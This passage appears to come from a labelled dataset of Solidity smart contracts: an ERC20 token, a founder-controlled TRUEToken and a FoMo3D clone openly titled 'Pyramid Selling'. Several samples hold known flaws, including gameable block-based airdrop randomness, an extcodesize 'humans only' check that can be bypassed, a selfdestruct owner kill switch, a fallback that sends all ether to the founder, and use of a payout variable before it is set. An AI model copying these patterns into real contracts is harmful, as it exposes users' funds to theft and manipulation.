allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract PausableERC20Token is StandardToken, Pausable { function transfer( address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve( address _spender, uint256 _value ) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval( address _spender, uint _addedValue ) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval( address _spender, uint _subtractedValue ) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract BurnablePausableERC20Token is PausableERC20Token { mapping (address => mapping (address => uint256)) internal allowedBurn; event Burn(address indexed burner, uint256 value); event ApprovalBurn( address indexed owner, address indexed spender, uint256 value ); function allowanceBurn( address _owner, address _spender ) public view returns (uint256) { return allowedBurn[_owner][_spender]; } function approveBurn(address _spender, uint256 _value) public returns (bool) { allowedBurn[msg.sender][_spender] = _value; emit ApprovalBurn(msg.sender, _spender, _value); return true; } function burn( uint256 _value ) public whenNotPaused { _burn(msg.sender, _value); } function burnFrom( address _from, uint256 _value ) public whenNotPaused { require(_value <= allowedBurn[_from][msg.sender]); allowedBurn[_from][msg.sender] = allowedBurn[_from][msg.sender].sub(_value); _burn(_from, _value); } function _burn( address _who, uint256 _value ) internal whenNotPaused { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } function increaseBurnApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowedBurn[msg.sender][_spender] = ( allowedBurn[msg.sender][_spender].add(_addedValue)); emit ApprovalBurn(msg.sender, _spender, allowedBurn[msg.sender][_spender]); return true; } function decreaseBurnApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowedBurn[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowedBurn[msg.sender][_spender] = 0; } else { allowedBurn[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit ApprovalBurn(msg.sender, _spender, allowedBurn[msg.sender][_spender]); return true; } } contract JPT is BurnablePausableERC20Token { string public constant name = "JPlay Token"; string public constant symbol = "JPT"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 10000000000 * (10 ** uint256(decimals)); constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(address(0), msg.sender, INITIAL_SUPPLY); } }
1
pragma solidity ^0.4.11; contract TRUEToken { string public constant name = "TRUE Token"; string public constant symbol = "TRUE"; uint public constant decimals = 18; uint256 _totalSupply = 100000000 * 10**decimals; function totalSupply() constant returns (uint256 supply) { return _totalSupply; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping(address => uint256) balances; mapping(address => mapping (address => uint256)) allowed; uint public baseStartTime; address public founder = 0x0; uint256 public distributed = 0; event AllocateFounderTokens(address indexed sender); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); function TRUEToken(address _founder) { founder = _founder; } function setStartTime(uint _startTime) { if (msg.sender!=founder) revert(); baseStartTime = _startTime; } function distribute(uint256 _amount, address _to) { if (msg.sender!=founder) revert(); if (distributed + _amount > _totalSupply) revert(); distributed += _amount; balances[_to] += _amount; Transfer(this, _to, _amount); } function transfer(address _to, uint256 _value) returns (bool success) { if (now < baseStartTime) revert(); if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function changeFounder(address newFounder) { if (msg.sender!=founder) revert(); founder = newFounder; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (msg.sender != founder) revert(); if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function() payable { if (!founder.call.value(msg.value)()) revert(); } function kill() { if (msg.sender == founder) { suicide(founder); } } }
1
pragma solidity ^0.4.24; contract F3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onRoundEnded1 ( uint256 winrSeq, uint256 winPID, uint256 winVault ); event onRoundEnded2 ( uint256 maxEthPID, uint256 maxEthVault, uint256 maxAffPID, uint256 maxAffVault ); } contract modularLong is F3Devents {} contract FoMo3Dlong is modularLong { using SafeMath for *; using NameFilter for string; using F3DKeysCalcLong for uint256; address constant private god = 0xe1B35fEBaB9Ff6da5b29C3A7A44eef06cD86B0f9; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xf79341b38865310e1a00d7630bd1decc92a8f8b1); string constant public name = "FM3D Pyramid Selling Heihei~"; string constant public symbol = "F3D"; uint256 private rndExtra_ = 0 minutes; uint256 private rndGap_ = 0 minutes; uint256 constant private rndInit_ = 1 hours; uint256 constant private rndInc_ = 30 seconds; uint256 constant private rndMax_ = 24 hours; uint256[3] private potToWinners_ = [30,15,10]; uint256 constant private potToMaxEth_ = 20; uint256 constant private potToMaxAff_ = 20; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; uint256[3] private affPerLv_ = [20,10,5]; constructor() public { } modifier isActivated() { require(activated_ == true, "its not ready yet. check ?eta in discord"); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, "pocket lint: not a valid currency"); require(_eth <= 100000000000000000000000, "no vitalik, no"); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function determineAffID(uint256 _pID, uint256 _inAffID) private returns(uint256){ if(plyr_[_pID].laff == 0 && 0 != _inAffID && _pID != _inAffID && plyr_[_inAffID].name != ''){ plyr_[_pID].laff = _inAffID; uint256 _rID = (0 == rID_)?1:rID_; plyrRnds_[_rID][_inAffID].affNum = plyrRnds_[_rID][_inAffID].affNum.add(1); if( plyrRnds_[_rID][round_[_rID].maxAffPID].affNum < plyrRnds_[_rID][_inAffID].affNum){ round_[_rID].maxAffPID = _inAffID; } } return plyr_[_pID].laff; } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; _affCode = determineAffID(_pID,_affCode); _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID = determineAffID(_pID,pIDxAddr_[_affCode]); _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID = determineAffID(_pID,pIDxName_[_affCode]); _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; _affCode = determineAffID(_pID,_affCode); _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID = determineAffID(_pID,pIDxAddr_[_affCode]); _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID = determineAffID(_pID,pIDxName_[_affCode]); _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(0)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getCurrentRoundInfo2() public view returns(bytes32, uint256, bytes32, uint256, bytes32, bytes32, bytes32) { uint256 _rID = rID_; return ( plyr_[round_[_rID].maxEthPID].name, plyrRnds_[round_[_rID].maxEthPID][_rID].eth, plyr_[round_[_rID].maxAffPID].name, plyrRnds_[round_[_rID].maxAffPID][_rID].affNum, plyr_[round_[_rID].plyrs[0]].name, plyr_[round_[_rID].plyrs[1]].name, plyr_[round_[_rID].plyrs[2]].name ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256, bytes32) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth, plyr_[plyr_[_pID].laff].name ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function updateLastBuyKeysPIDs(uint256 _rID, uint256 _lastPID) private { for(uint256 _i=potToWinners_.length-1; _i>=1; _i--){ round_[_rID].plyrs[_i] = round_[_rID].plyrs[_i - 1]; } round_[_rID].plyrs[0] = _lastPID; } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if(_eth > 10000000000000000){ if (round_[_rID].plyr != _pID){ round_[_rID].plyr = _pID; } updateLastBuyKeysPIDs(_rID, _pID); } if (round_[_rID].team != _team){ round_[_rID].team = _team; } _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); if(0 == round_[_rID].maxEthPID || plyrRnds_[round_[_rID].maxEthPID][_rID].eth < plyrRnds_[_pID][_rID].eth){ round_[_rID].maxEthPID = _pID; } _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if (pIDxAddr_[_addr] != _pID){ pIDxAddr_[_addr] = _pID; } if (pIDxName_[_name] != _pID){ pIDxName_[_name] = _pID; } if (plyr_[_pID].addr != _addr){ plyr_[_pID].addr = _addr; } if (plyr_[_pID].name != _name){ plyr_[_pID].name = _name; } if (plyr_[_pID].laff != _laff){ determineAffID(_pID, _laff); } if (plyrNames_[_pID][_name] == false){ plyrNames_[_pID][_name] = true; } } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != "") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winTID = round_[_rID].team; uint256 _maxEthPID = round_[_rID].maxEthPID; uint256 _maxAffPID = round_[_rID].maxAffPID; if(0 == _maxAffPID){ _maxAffPID = 1; } uint256 _pot = round_[_rID].pot; uint256 _maxEth = (_pot.mul(potToMaxEth_)) / 100; uint256 _maxAff = (_pot.mul(potToMaxAff_)) / 100; uint256 _res = _pot.sub(_win).sub(_maxEth); plyr_[_maxEthPID].win = _maxEth.add(plyr_[_maxEthPID].win); plyr_[_maxAffPID].win = _maxAff.add(plyr_[_maxAffPID].win); for(uint256 _seq=0; _seq<potToWinners_.length; _seq++){ uint256 _win = _pot.mul(potToWinners_[_seq]) / 100; uint256 _winPID = round_[_rID].plyrs[_seq]; if(0 == _winPID){ _winPID = 1; } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); _res = _res.sub(_win); emit F3Devents.onRoundEnded1( _seq, _winPID, _win ); } emit F3Devents.onRoundEnded2( _maxEthPID, _maxEth, _maxAffPID, _maxAff ); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = 0; _eventData_.P3DAmount = 0; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function getRealRndMaxTime(uint256 _rID) public returns(uint256) { uint256 _realRndMax = rndMax_; uint256 _days = (now - round_[_rID].strt) / (1 days); while(0 < _days --){ _realRndMax = _realRndMax / 2; } return (_realRndMax > 10 minutes) ? _realRndMax : 10 minutes; } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); uint256 _realRndMax = getRealRndMaxTime(_rID); if (_newTime < (_realRndMax).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = _realRndMax.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _com = _eth / 20; address(god).transfer(_com); uint256 _curAffID = plyr_[_pID].laff; for(uint256 _i=0; _i< affPerLv_.length; _i++){ uint256 _aff = _eth.mul(affPerLv_[_i]) / (100); if (_curAffID == _pID || plyr_[_curAffID].name == '') { _curAffID = 1; } plyr_[_curAffID].aff = _aff.add(plyr_[_curAffID].aff); emit F3Devents.onAffiliatePayout(_curAffID, plyr_[_curAffID].addr, plyr_[_curAffID].name, _rID, _pID, _aff, now); _curAffID = plyr_[_curAffID].laff; } return(_eventData_); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = _eth.mul(40) / 100; uint256 _air = 0; airDropPot_ = airDropPot_.add(_air); uint256 _pot = (_eth.mul(20)) / 100; uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require(msg.sender == god, "only team just can activate"); require(activated_ == false, "fomo3d already activated"); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; 